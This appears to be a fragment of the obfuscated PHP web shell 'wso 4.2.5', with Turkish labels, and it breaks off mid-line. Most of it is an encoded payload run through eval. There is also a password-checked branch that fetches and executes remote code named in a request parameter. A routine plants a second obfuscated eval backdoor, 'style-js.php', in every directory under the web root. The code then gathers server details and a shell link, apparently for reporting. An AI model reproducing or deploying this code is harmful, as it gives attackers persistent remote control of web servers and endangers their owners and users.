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";\r\n\r\neval(\'?>\'.str_rot13(gzinflate(str_rot13(base64_decode($wso)))));\r\n\r\n$a = \'<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n?>\r\n<form action="" method="post">\r\n<input type="text" name="p">\r\n</form>\r\n\';\r\nif (@$_REQUEST["px"]) {\r\n    $p = @$_REQUEST["px"];\r\n    $pa = md5(sha1($p));\r\n    if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {\r\n        echo eval(@file_get_contents(@$_REQUEST["404"]));\r\n    }\r\n}\r\nif (@!$_SESSION["sdm"]) {\r\n    $doc = $_SERVER["DOCUMENT_ROOT"];\r\n    $dir = scandir($doc);\r\n    $d1 = \'\' . $doc . \'/.\';\r\n    $d2 = \'\' . $doc . \'/..\';\r\n    if (($key = @array_search(\'.\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search(\'..\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search($d1, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = array_search($d2, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    @array_push($dir, $doc);\r\n    foreach ($dir as $d) {\r\n        $p = $doc . "/" . $d;\r\n        if (is_dir($p)) {\r\n            $file = $p . "/style-js.php";\r\n            @touch($file);\r\n            $folder = @fopen($file, "w");\r\n            @fwrite($folder, $a);\r\n        }\r\n    }\r\n\r\n}\r\n$b = "wso 4.2.5";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . 